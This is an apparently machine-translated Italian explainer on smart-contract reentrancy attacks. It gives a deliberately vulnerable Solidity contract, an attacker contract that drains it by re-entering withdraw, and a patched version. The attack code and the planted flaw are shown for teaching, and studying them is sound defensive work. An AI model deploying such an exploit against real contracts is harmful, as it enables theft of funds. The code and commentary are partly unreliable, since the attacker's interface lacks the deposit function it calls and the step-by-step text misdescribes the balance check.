Ecco come avviene uno degli hack di smart contract più comuni che costano milioni alle aziende Web 3...

Alcuni dei più grandi attacchi nel settore blockchain, in cui sono stati rubati token di criptovaluta per un valore di milioni di dollari, sono il risultato di attacchi di rientro. Sebbene questi attacchi siano diventati meno comuni negli ultimi anni, rappresentano ancora una minaccia significativa per le applicazioni e gli utenti blockchain.

Quindi cosa sono esattamente gli attacchi di rientro? Come vengono distribuiti? E ci sono misure che gli sviluppatori possono adottare per evitare che si verifichino?

Cos'è un attacco di rientro?

Un attacco di rientro si verifica quando una funzione di contratto intelligente vulnerabile effettua una chiamata esterna a un contratto dannoso, rinunciando temporaneamente al controllo del flusso della transazione. Il contratto dannoso quindi chiama ripetutamente la funzione del contratto intelligente originale prima che termini l'esecuzione mentre prosciuga i suoi fondi.

instagram viewer

In sostanza, una transazione di prelievo sulla blockchain di Ethereum segue un ciclo in tre fasi: conferma del saldo, rimessa e aggiornamento del saldo. Se un criminale informatico può dirottare il ciclo prima dell'aggiornamento del saldo, può prelevare ripetutamente fondi fino a quando un portafoglio non viene esaurito.

Credito immagine: Etherscan

Uno dei più famigerati hack blockchain, l'hack Ethereum DAO, come coperto da Coindesk, è stato un attacco di rientro che ha portato a una perdita di oltre $ 60 milioni di eth e ha cambiato radicalmente il corso della seconda più grande criptovaluta.

Come funziona un attacco di rientro?

Immagina una banca nella tua città dove i locali virtuosi tengono i loro soldi; la sua liquidità totale è di $ 1 milione. Tuttavia, la banca ha un sistema contabile imperfetto: il personale aspetta fino a sera per aggiornare i saldi bancari.

Il tuo amico investitore visita la città e scopre il difetto contabile. Crea un conto e deposita $ 100.000. Il giorno dopo, ritira $ 100.000. Dopo un'ora, fa un altro tentativo di prelevare $ 100.000. Dal momento che la banca non ha aggiornato il suo saldo, legge ancora $ 100.000. Quindi ottiene i soldi. Lo fa ripetutamente finché non ci sono più soldi. I membri dello staff si rendono conto che non ci sono soldi solo quando fanno i conti la sera.

Nel contesto di uno smart contract, il processo è il seguente:

  1. Un criminale informatico identifica uno smart contract "X" con una vulnerabilità.
  2. L'attaccante avvia una transazione legittima al contratto di destinazione, X, per inviare fondi a un contratto dannoso, "Y." Durante l'esecuzione, Y chiama la funzione vulnerabile in X.
  3. L'esecuzione del contratto di X viene sospesa o ritardata mentre il contratto attende l'interazione con l'evento esterno
  4. Mentre l'esecuzione è in pausa, l'attaccante richiama ripetutamente la stessa funzione vulnerabile in X, attivando nuovamente la sua esecuzione il maggior numero di volte possibile
  5. Ad ogni rientro, lo stato del contratto viene manipolato, consentendo all'attaccante di drenare fondi da X a Y
  6. Una volta che i fondi sono stati esauriti, il rientro si interrompe, l'esecuzione ritardata di X viene infine completata e lo stato del contratto viene aggiornato in base all'ultimo rientro.

In genere, l'attaccante sfrutta con successo la vulnerabilità di rientro a proprio vantaggio, rubando fondi dal contratto.

Un esempio di attacco di rientro

Quindi, in che modo esattamente potrebbe verificarsi tecnicamente un attacco di rientro una volta distribuito? Ecco un ipotetico contratto intelligente con un gateway di rientro. Useremo la denominazione assiomatica per semplificare il seguito.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

IL Contratto vulnerabile consente agli utenti di depositare eth nel contratto utilizzando il depositare funzione. Gli utenti possono quindi ritirare i propri eth depositati utilizzando il ritirare funzione. Tuttavia, c'è una vulnerabilità di rientro nel file ritirare funzione. Quando un utente si ritira, il contratto trasferisce l'importo richiesto all'indirizzo dell'utente prima di aggiornare il saldo, creando un'opportunità da sfruttare per un utente malintenzionato.

Ora, ecco come sarebbe il contratto intelligente di un utente malintenzionato.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Quando viene lanciato l'attacco:

  1. IL Contratto dell'attaccante prende l'indirizzo del Contratto vulnerabile nel suo costruttore e lo memorizza nel file vulnerabileContratto variabile.
  2. IL attacco la funzione viene chiamata dall'attaccante, depositando alcuni eth nel file Contratto vulnerabile usando il depositare function e quindi chiamando immediatamente la funzione ritirare funzione del Contratto vulnerabile.
  3. IL ritirare funzione nel Contratto vulnerabile trasferisce la quantità richiesta di eth a quella dell'attaccante Contratto dell'attaccante prima di aggiornare il saldo, ma poiché il contratto dell'attaccante è sospeso durante la chiamata esterna, la funzione non è ancora completa.
  4. IL ricevere funzione nel Contratto dell'attaccante viene attivato perché il Contratto vulnerabile inviato eth al presente contratto durante la chiamata esterna.
  5. La funzione di ricezione verifica se il file Contratto dell'attaccante il saldo è di almeno 1 ether (l'importo da prelevare), quindi rientra nel Contratto vulnerabile chiamando il suo ritirare funzionare di nuovo.
  6. I passaggi da tre a cinque si ripetono fino al Contratto vulnerabile esaurisce i fondi e il contratto dell'attaccante accumula una notevole quantità di eth.
  7. Infine, l'attaccante può chiamare il prelevareStolenFunds funzione nel Contratto dell'attaccante rubare tutti i fondi accumulati nel loro contratto.

L'attacco può avvenire molto velocemente, a seconda delle prestazioni della rete. Quando si coinvolgono contratti intelligenti complessi come DAO Hack, che ha portato all'hard fork di Ethereum in Ethereum ed Ethereum Classic, l'attacco avviene per diverse ore.

Come prevenire un attacco di rientro

Per prevenire un attacco di rientro, dobbiamo modificare il contratto intelligente vulnerabile per seguire le migliori pratiche per lo sviluppo sicuro del contratto intelligente. In questo caso, dovremmo implementare il pattern "checks-effects-interactions" come nel codice sottostante.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

In questa versione fissa, abbiamo introdotto un file è bloccato mappatura per monitorare se un determinato account è in fase di prelievo. Quando un utente avvia un prelievo, il contratto controlla se il suo account è bloccato (!isLocked[msg.sender]), indicando che non è attualmente in corso nessun altro prelievo dallo stesso conto.

Se l'account non è bloccato, il contratto continua con il cambio di stato e l'interazione esterna. Dopo il cambio di stato e l'interazione esterna, l'account viene nuovamente sbloccato, consentendo futuri prelievi.

Tipi di attacchi di rientro

Credito immagine: Ivan Radic/Flickr

In generale, esistono tre tipi principali di attacchi di rientro in base alla loro natura di sfruttamento.

  1. Singolo attacco di rientro: In questo caso, la funzione vulnerabile che l'aggressore chiama ripetutamente è la stessa suscettibile al gateway di rientro. L'attacco di cui sopra è un esempio di attacco di rientro singolo, che può essere facilmente prevenuto implementando controlli e blocchi appropriati nel codice.
  2. Attacco interfunzionale: In questo scenario, un utente malintenzionato sfrutta una funzione vulnerabile per chiamare una funzione diversa all'interno dello stesso contratto che condivide uno stato con quella vulnerabile. La seconda funzione, richiamata dall'attaccante, ha qualche effetto desiderabile, rendendola più attraente per lo sfruttamento. Questo attacco è più complesso e più difficile da rilevare, quindi sono necessari controlli e blocchi rigorosi tra le funzioni interconnesse per mitigarlo.
  3. Attacco incrociato: Questo attacco si verifica quando un contratto esterno interagisce con un contratto vulnerabile. Durante questa interazione, lo stato del contratto vulnerabile viene richiamato nel contratto esterno prima che sia completamente aggiornato. Di solito accade quando più contratti condividono la stessa variabile e alcuni aggiornano la variabile condivisa in modo non sicuro. Protocolli di comunicazione sicuri tra contratti e periodici audit contrattuali intelligenti deve essere implementato per mitigare questo attacco.

Gli attacchi di rientro possono manifestarsi in forme diverse e quindi richiedono misure specifiche per prevenirli ciascuno.

Rimanere al sicuro dagli attacchi di rientro

Gli attacchi di rientro hanno causato notevoli perdite finanziarie e minato la fiducia nelle applicazioni blockchain. Per proteggere i contratti, gli sviluppatori devono adottare diligentemente le best practice per evitare vulnerabilità di rientro.

Dovrebbero anche implementare schemi di prelievo sicuri, utilizzare librerie affidabili e condurre audit approfonditi per rafforzare ulteriormente la difesa del contratto intelligente. Naturalmente, rimanere informati sulle minacce emergenti ed essere proattivi con gli sforzi di sicurezza può garantire che si protegga anche l'integrità degli ecosistemi blockchain.